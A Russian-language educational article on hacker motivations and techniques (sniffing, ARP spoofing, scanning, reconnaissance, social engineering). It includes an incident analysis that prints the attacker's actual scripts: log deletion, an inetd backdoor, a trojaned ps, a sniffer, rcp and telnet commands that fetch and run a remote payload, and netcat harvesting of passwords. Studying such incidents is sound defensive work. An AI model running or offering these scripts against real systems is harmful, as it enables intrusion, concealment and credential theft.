Методы хакеров


Данный раздел начнем с понятия, кто же такой хакер.
Хакер – это человек, умеющий профессионально обращаться с компьютерами. Мы очень часто называем Хакерами тех, кто ищет пути вторжения в компьютерную систему или выводит ее из строя.
Хакеры имеют четкое представление о работе компьютеров и сетей, о том, как протоколы используются для выполнения системных операций.


Определение мотивации хакеров

Мотивация – это ключ к пониманию поступков хакеров. Для чего они проникают в чужие системы, какой интерес она для них представляет, и вообще, почему компьютеры так привлекают их.

Рассмотрим три основных мотива взломщиков компьютерных систем и сетей:

  1. Привлечение внимания или самореализация;
  2. Алчность;
  3. Злой умысел.


Привлечение внимания
Самой первой мотивацией, было, есть и будет – это самореализация или сам «взлом». Взломав систему, хакеры хвастаются своими победами, и тем самым зарабатывают «положение в обществе». Выведя из строя компьютерную систему (или даже несколько), они специально удаляют уязвимое место, с помощью которого они вывели компьютер из строя, чтобы никто больше не смог повторить атаку. Данные атаки выполняются ради развлечения, спортивного интереса, и не связаны с определенной системой. Другими словами, любой компьютер, подключенный к интернету, представляет собой потенциальную мишень для атак.


Алчность
Это мотивов для преступной деятельности. Основные причины – жажда получения любой наживы (денег, товаров, услуг, информации). Хакеры, основным мотивом которых является алчность, ставят перед собой особые задачи – их главной целью становятся сайты с ценным содержанием (программным обеспечением, деньгами, информацией).


Злой умысел
Злой умысел или вандализм направлен на причинение вреда легальным пользователям, препятствуя их работе в системе, или законным владельцам сайта, изменяя их веб-страницы. В данном случае атака направлена на конкретные цели, главная задача которой нанести ущерб определенному сайту или организации. Причина – желание отомстить за несправедливое обращение или сделать политическое заявление. Результат – причинение вреда системе без получения доступа к ней.


Современные методы атак

Скрипт киддиз (script kiddies) – это пользователи, отыскивающие сценарии эксплойтов в интернете и запускающие их против всех систем, которые только можно найти (не требуют специальных знаний или инструкций).


Прослушивание коммутируемых сетей
Прослушивание коммутируемых сетей или снифинг (sniffing) – используется хакерами для сбора паролей и другой системной информации после взлома системы.
Принцип работы: сетевой адаптер перехватывает все пакеты, перемещающиеся по сети, а не только пакеты, адресованные данному адаптеру или системе после того, как снифер установит плату сетевого интерфейса в режим прослушивания смешанного трафика (promiscuous mode). Данные сниферы работают в сетях с разделяемой пропускной способностью с сетевыми концентраторами – хабами. В коммутируемой среде используются сниферы, специально разработанные для данной среды.


Перенаправление трафика
Для кадра, передаваемого по сети Ethernet, на основании адреса доступа к среде передачи данных (Media Access Control) – MAC-адреса, коммутатор направляет трафик к портам. С учетом того, что каждая плата сетевого интерфейса имеет уникальный MAC-адрес, коммутатор распознает, какие адреса назначены какому порту. Поэтому при передаче кадра с определенным MAC-адресом получателя коммутатор направляет этот кадр к порту, к которому приписан данный MAC-адрес.
Теперь рассмотрим методы, с помощью которых можно заставить коммутатор направлять сетевой трафик к сниферу.


ARP-спуфинг (ARP-spoofing)
ARP – это протокол преобразования адресов (Address Resolution Protocol), используемый для получения MAC-адреса, связанного с определенным IP-адресом. При передаче трафика, система-отправитель посылает ARP-запрос по IP-адресу получателя, а система-получатель отвечает на этот запрос передачей своего MAC-адреса, который будет использоваться системой-отправителем для прямой передачи трафика. При перехвате интересующего трафика, снифер ответит на ARP-запрос вместо реальной системы-получателя и предоставит собственный MAC-адрес. В результате система-отправитель будет посылать трафик на снифер. Если трафик на снифер будет переадресован не целиком, то появится вероятность возникновения отказа в доступе к сети. К тому же, снифер должен размещаться в том же самом сегменте локальной сети, где находятся системы отправителя и получателя.


Дублирование MAC-адресов
Дублирование MAC-адреса системы-получателя – еще один способ «убеждения» коммутатора посылать трафик на снифер. Достигается это путем изменения MAC-адреса на снифере и размещения в системе, которая находится в том же сегменте локальной сети.
Примечание: МАС-адрес в системе Unix меняется с помощью команды ipconfig, в системе Windows с помощью аналогичных утилит.


Имитация доменного имени
Имитация доменного имени позволяет сниферу перехватывать DNS-запросы от системы-отправителя и отвечать на них. Снифер передает свой IP-адрес системе-отправителю, тем самым присваивая весь передающийся трафик себе. После чего он перенаправляет этот трафик реальному получателю. Для выполнения данной атаки сниферу необходимо просматривать все DNS-запросы и отвечать на них до того, как это сделает реальный получатель. Поэтому он должен располагаться на маршруте следования трафика от системы-отправителя к DNS-серверу, а еще лучше – в той же локальной подсети, что и отправитель.


Отправка всего трафика ко всем портам
Суть данной атаки заключается в следующем. Хакер непосредственно подключается к нужному коммутатору и заставляет его работать в качестве хаба (концентратора). Каждый коммутатор использует определенный объем памяти для хранения таблицы соответствий между MAC-адресом и физическим портом коммутатора. Эта память имеет ограниченный объем. При ее переполнении некоторые коммутаторы могут ошибочно выдавать состояние «открытый», это означает, что коммутатор прекратит передачу трафика по определенным MAC-адресам и начнет пересылать весь трафик ко всем портам. Другими словами коммутатор будет работать подобно сетевому устройству коллективного доступа (хабу), позволяя сниферу выполнять свои функции.

Вывод:для выполнения выше перечисленных атак, хакер должен установить систему на локальном коммутаторе. Однако для начала он должен войти в систему через известную уязвимость, а затем инсталлировать необходимое для снифинга программное обеспечение.


Выявление методов ненаправленных хакерских атак

Хакеры, использующие методы ненаправленных атак движутся мотивом привлечь к себе внимание взломом, поэтому определенной цели для атаки у них нет.
Обычно атака выполняется со взломаных систем и после проведения предварительного зондирования, чтобы хакер мог «замести следы».


Предварительное исследование через интернет
Выполняется с помощью скрытого сканирования диапазона адресов, называемое половинным IP-сканированием. Выявляется с его помощью системы, находящиеся в данном диапазоне, и службы, доступные в этих системах, а так же осуществляется отправка пинг-запросов в этом диапазоне адресов, т.е. отправка пинг-запроса по каждому адресу и просмотр полученных ответов.
При скрытом сканировании обычно отправляется TCP SYN-пакет по IP-адресу и ожидается TCP SYN АСК-ответ. После получения ответа, хакер отправляет TCP RST-пакет для сброса соединения прежде, чем оно закроется, что позволяет скрыть попытки проникновения от службы регистрации событий целевой системы.

Metodi hackerov
Рис. 1. Скрытое сканирование


Способы скрытого сканирования, позволяющие определить открытые порты, выполняются посредством передачи трафика к определенным портам. Если порт закрыт, он ответит RST-пакетом, если открыт – ответа получено не будет.
Предварительное исследование можно провести в несколько этапов. С помощью зонной передачи регистрируются все системы и IP-адреса домена (произвольно выбранного), известные DNS. Получив список, в ход пускаются инструментальные средства типа Queso или Nmap для определения операционной системы потенциального объекта атаки. Скрытое сканирование выявит службы, выполняющиеся в системе, и эти данные используются для реальных атак.


Предварительное исследование по телефону
Заключается в выявления потенциальных жертв и определения систем, имеющих модем и отвечающих на входящие звонки. После выявления модемов с помощью программных средств, хакер обращается к каждому из них, определяя работающие программы. Далее с помощью программы PC Anywhere хакер захватывает управление ответившим компьютером.


Предварительное исследование через беспроводные сети
При использовании устройств типа GPS (Global Positioning System – глобальная система навигации и определения положения) для записи координат точек беспроводные сети. Выявив сеть, хакер, с помощью компьютера и адаптера беспроводной сети, воспользуется выходом в интернет для атаки других сайтов. Беспроводная сеть организации – отличная маскировка для хакера.


Методы атак
Хакеры, использующие методы ненаправленных атак, с помощью специальных средств сканирования находят несколько уязвимых систем, а затем создают сценарии атаки, направленной против всех систем одновременно. Менее опытные хакеры стараются взломать систему с помощью специальных эксплойтов в один прием.


Использование взломанных систем
После взлома системы хакер обычно помещает в нее «черный ход», использующийся вместе с инструментом rootkit, включающим версию системы с кодом «троянского коня» (позволяет скрыть присутствие хакера), через который он будет входить в систему в дальнейшем. Так же хакеры могут закрыть уязвимое место, через которое они проникли внутрь, чтобы никто больше не мог управлять «их системой». Хакеры копируют файлы с паролями других систем, чтобы поработать на досуге над их вскрытием, загружают программу-снифер для захвата паролей. После взлома система используется для атаки или для предварительного зондирования.


Реальные сценарии атак
Рассматриваемая система была взломана посредством переполнения буфера с помощью программы RPC Tooltalk для ОС Solaris. Был найден сценарий под названием bd, который загружался в систему.

unset HISTFILE; unset SAVEHIST

Хакер отключает файл журнала, чтобы его действия не фиксировались.

cp doc /usr/sbin/inetd;
chown root /usr/sbin/inetd;
chgrp root /usr/sbin/inetd;
touch 0716000097 /usr/sbin/inetd;


Хакер копирует файл doc поверх существующего inetd, изменяет владельца, группу и метку времени файла в соответствии с оригиналом.

rm -rf doc /tmp/bob /var/adm/messages /usr/lib/nfs/statd
/usr/openwin/bin/rpc.ttdb* /usr/dt/bin/rpc.ttdb*


Хакер удаляет файл doc, извлеченный из neet.tar, /tmp/bob, сообщения (для удаления информации об атаке), файлы statd и rpc.ttdb (программу Tooltalk). Интересно, что хакер удалил также и метод, использовавшийся для получения доступа к системе.

rm -rf /var/log/messages /var/adm/sec* /var/adm/mail* /var/log/mail* /var/adm/sec*

Хакер удаляет дополнительные файлы журналов для скрытия своих действий.

/usr/sbin/inetd -s;
/usr/sbin/inetd -s;
telnet localhost;
/usr/sbin/inetd -s;


Хакер запускает две копии inetd. Затем с помощью telnet он подключается к локальному хосту и запускает третью копию inetd.

ps -ef | grep inetd | grep bob | awk ‘{print «kill -9 » $2 }’ > boo
chmod 700 boo
./boo


Хакер определяет место расположения первоначальной версии inetd, отыскивая inetd и bob в таблице процессов. Затем он создает файл boo, содержащий строку «kill -9 {inetd process id}», изменяет разрешения файла так, что он становится исполняемым, и запускает его. Затем удаляет исходный процесс inetd.

ps -ef | grep nfs | grep statd | awk ‘{print «kill -9 » $2 }’ > boo
chmod 700 boo
./boo
ps -ef | grep ttdb | grep -v grep | awk ‘{print «kill -9 » $2 }’ > boo
chmod 700 boo
./boo
rm -rf boo


Затем он определяет место расположения процессов statd и ttdb и удаляет их таким же образом.

mkdir /usr/man/tmp
mv update ps /usr/man/tmp
cd /usr/man/tmp
echo 1 \»./update -s -o output\» > /kernel/pssys
chmod 755 ps update
./update -s -o output &


Хакер создает директорию в /usr/man и помещает туда снифер и файл ps. Он создает сценарий, активизирующий снифер при перезагрузке системы, и запускает снифер.

cp ps /usr/ucb/ps
mv ps /usr/bin/ps
touch 0716000097 /usr/bin/ps /usr/ucb/ps


Хакер заменяет исходный файл ps новым и изменяет его метку времени в соответствии с оригиналом.

cd /
ps -ef | grep bob | grep -v grep
ps -ef | grep stat | grep -v grep
ps -ef | grep update


Далее хакер проверяет, что все работает как надо. Нам интересен сценарий bd, который показывает изменения в системе и дает подсказку о том, как хакер вошел в систему. Ключевой момент здесь – ссылка на /tmp/bob. Анализируя причины удаления хакером исходного процесса inetd можно предположить, что этот процесс выполнялся вместе с файлом конфигурации /tmp/bob (inetd можно вызвать для работы с файлом конфигурации, введенным в командной строке). Неизвестно, что было в этом файле, но, вероятно, исходный эксплойт Tooltalk позволял перезагружать inetd с новым файлом конфигурации.
Другой интересный момент сценария – уничтожение хакером процессов, с помощью которых он проник в систему. Главной ошибкой сценария был запуск трех процессов inetd. Произошло следующее: множественные процессы inetd стали видны, и в папке /var/log/messages появились сообщения о том, что второй и третий процессы inetd не могут связаться с telnet и FTP-портами.
После взлома системы с помощью эксплойта, хакер использовал сценарии для загрузки каждой системы со снифером и «черным ходом».

Было создано три сценария. Первый сценарий назывался massbd.sh.

#!/bin/sh
for i in ‘cat $1′; do (./bd.sh $i &);done


Этот сценарий использовал файл ввода (вероятно, список IP-адресов) и исполнял сценарий bd.sh (отличающийся от сценария bd, рассмотренного выше), направленный к каждому адресу.
В сценарии bd.sh содержатся всего две строки:

#!/bin/sh
./bdpipe.sh | telnet $1 1524


Данный сценарий дает хакеру ценную информацию о том, что делает в системе первоначально запущенный эксплойт переполнения буфера. Данный сценарий берет аргументы из командной строки и передает команды от третьего сценария bdpipe.sh через telnet. Обратите внимание на порт назначения – 1524.
Третий сценарий называется bdpipe.sh. Он содержит набор команд, передаваемых через telnet и исполняющихся на целевой системе.

#!/bin/sh
echo «cd /tmp;»
echo «rcp Этот e-mail адрес защищен от спам-ботов, для его просмотра у Вас должен быть включен Javascript :neet.tar ./;»
sleep 2
echo «tar -xvf neet.tar;»
sleep 1
echo «./bd;»
sleep 10
echo «rm -rf neet.tar bd update*;»
sleep 10
echo «exit;»


Скрипт bdpipe.sh производит удаленное копирование файла neet.tar от другой системы, открывая файл и исполняя сценарий bd, найденный на компьютере-жертве. Этот сценарий удаляет neet.tar, bd и обновляет /tmp. Такой подход сработал не на всех системах, что позволило найти файл neet.tar и просмотреть его содержимое.
Предположительно, хакер планировал быстро взломать большое количество систем. Хотя сценарии несложные, много работы ушло на построение всех элементов атаки, чтобы добиться ширины ее размаха.
Видно, что хакер не стал загружать снифер на все системы-жертвы. Присутствовали сценарии, предназначенные для извлечения собранных паролей. Первый сценарий назывался mget.sh.

for i in ‘cat $1′ ; do (./sniff.sh $i &) ; done

Этот сценарий использовал список IP-адресов для вызова sniff.sh. Сценарий sniff.sh содержит всего две строки:

#!/bin/sh
./getsniff.sh | ./nc -p 53982 $1 23 >> $1.log


Сценарий sniff.sh использовал IP-адреса для установки соединения с целевой системой через порт 23 (telnet) от специального порта отправителя (53982). Программа nc (называемая также netcat) позволяет устанавливать соединение от любого порта к любому порту. Находка этого сценария подсказала, что «черный ход» находился в измененном файле inetd. При установке соединения telnet от порта 53982 измененный inetd мог отыскивать пароли и, в случае успеха, запускать интерпретатор команд.
Третий сценарий назывался getshniff.sh. Он передавался через соединение nc и выполнялся на целевой системе.

#!/bin/sh
sleep 2
echo «oir##t»
sleep 1
echo «cd /usr»
sleep 1
echo «cd man»
echo «cd tmp»
sleep 2
echo «cat output*»
sleep 1
echo «exit»


Сценарий getshniff.sh. дал пароль, который использовался вместе с измененным inetd (oir##t). Он вводил данные в nc для закрытия соединения с целевой системой и получал выходной файл из снифера.
Все эти сценарии показывали, что после взлома системы хакер мог удаленно получать журналы снифера и, следовательно, проникать в системы, на которые не попал во время первой атаки. Автоматизация процесса взлома и извлечения паролей давала возможность быстрого доступа к большому количеству систем и расширения успеха с помощью получения и сохранения дополнительных паролей.


Выявление методов направленных хакерских атак

Целью использования метода направленных атак является проникновение в конкретную организацию или нанесение ей ущерба.
Мотивация – стремление получить от организации информацию определенного типа. Хакер умышленно стремится причинить вред несколькими способами, используя для этого направленные DoS-атаки. К тому же уровень мастерства таких хакеров выше, чем у тех злоумышленников, которые не имеют определенных целей.


Выбор объекта
Выбор объекта атаки в данном случае обоснован и преследует определенные цели: информация, представляющая интерес для хакера, наем хакера сторонней организацией для получения некоторых сведений и т.д. Но независимо от причин, выбирается именно объект, а не ее внутренняя система.


Подготовка к атаке осуществляется в несколько шагов
Предварительное исследование адресов, в ходе которой выявляется адресное пространство, используемое в организации (адрес главного DNS-сервера в домене и адрес почтового сервера, адреса всех веб-серверов, список диапазонов адресов, список всех используемых адресов и т. д.).


Предварительное исследование телефонных номеров – дает хакеру возможность определить работающие модемы организации.


Предварительное исследование местности на предмет наличия беспроводных сетей.


Предварительное исследование системы
Предварительное исследование системы дает возможность определить используемое оборудование, операционные системы и их уязвимые места, применяя развернутую отправку пинг-пакетов, скрытое сканирование или сканирование портов. Если он хочет остаться «в тени», то будет выполнять все очень медленно – один пинг-пакет по одному адресу примерно каждый час. Такая деятельность останется незамеченной для большинства администраторов.
Для определения операционных систем желательно применить скрытое сканирование портов. Если система отвечает через порт 139 (NetBIOS RPC), то это, вероятно, Windows (NT, 2000, XP, 95 или 98), если через порт 111 (Sun RPC/portmapper) – то это система Unix, порт 25 – почтовые системы, 80 – веб-серверы.
Выявлять уязвимые места можно осуществляя атаки или исследуя систему на наличие уязвимости. Как вариант – проверка номера версии популярного программного обеспечения, например, почтового сервера или DNS-сервера, которая и подскажет известные уязвимые места.
При использовании сканера уязвимых мест, существует вероятность вызвать сигнал тревоги в системе обнаружения вторжений. Один сканер поможет хакеру отыскать единственную «прореху», другой выявит большее количество уязвимых мест. В любом случае хакер соберет нужную информацию, но, скорее всего, его присутствие будет замечено.


Предварительное исследование сферы деятельности
Эти исследования дают знания, как используются компьютерные системы, где размещена ценная информация и аппаратура, каким образом можно навредить системе.


Физические методы сбора данных
Позволяют узнать, какими устройствами контроля доступа, камерами наблюдения и службой охраны пользуется организация. Наблюдая за тем, как входят посетители, как выходят служащие во время перерыва, хакер выявляет слабые стороны системы физической безопасности, которые можно использовать для проникновения в здание. Хакер проследит и за тем, как обращаются с мусором и выброшенными документами. Если все это складывается в мусорный бак позади здания, то он может ночью порыться в нем и найти интересующую информацию.


Вывод

Хакер имеет на руках всю необходимую информацию об объекте атаки, он выбирает найболее подходящий способ с минимальным риском обнаружения.


Электронные методы атак
Если хакер надумает атаковать с помощью электронных методов, тогда он попытается скрыть атаку от IDS, разбивая ее на несколько пакетов. В случае успешного завершения атаки он сделает так, чтобы состояние системы выглядело как обычно. Чтобы состояние системы не привлекло внимание администратора, хакер уничтожит записи в журнале, выдающие его присутствие. А для последующих проникновений в систему он установит себе «черный ход».
Если хакер решит атаковать с помощью дозвона по телефону, то его первоочередными целями станут системы с удаленным управлением или системы администратора, которые он будет атаковать в нерабочее время, чтобы предотвратить обнаружение атаки служащими.
При нахождении уязвимой домашней системы служащего, он будет атаковать ее напрямую либо отправит туда вирус или «троянского коня», которая попадает на компьютер в виде вложения в сообщение электронной почты, и сможет самостоятельно исполнятся и инсталлироваться при открытии вложения. Такие программы особенно эффективны, если компьютер работает под управлением системы Windows.
Выявление беспроводных сетей предоставляет хакеру способ легкого доступа. Нередко беспроводные сети являются частью внутренней сети организации и имеют меньше установленных и работающих устройств безопасности (типа систем IDS).


Физические методы атак
При физическом методе атаки самым простым является исследование содержимого мусорного бака в ночное время. В нем можно найти всю необходимую информацию, а при отсутствии такой, могут пригодиться любые сведения для атак социального инжиниринга.
Социальный инжиниринг – самый безопасный метод физической атаки, с помощью которого можно проникнуть в систему. Ключевой момент такой атаки – маленькая ложь. К примеру, позвонив секретарю в приемной – узнать номер службы поддержки. После чего связаться с удаленным офисом и под видом секретаря разузнает о каком-нибудь служащем. Следующий звонок от его имени – в службу поддержки, чтоб попросить номер телефона для локального дозвона или забытый пароль. Добытая информация позволит хакеру войти в систему с легальным ID и паролем пользователя.
Самым опасным типом физической атаки является реальное проникновение в организацию, на которое сможет решиться только серьезный хакер. Оказавшись внутри, его задачей будет подключение своего переносного компьютера к сети, чтобы получить в свое распоряжение всю сеть.


Использование взломанной системы
Стараясь скрыть следы своего присутствия настолько тщательно, насколько возможно, взломанная система станет для него стартовой площадкой для проникновения в более засекреченные внутренние системы. Все действия будут выполняться максимально скрытно, чтобы не привлечь внимания администраторов.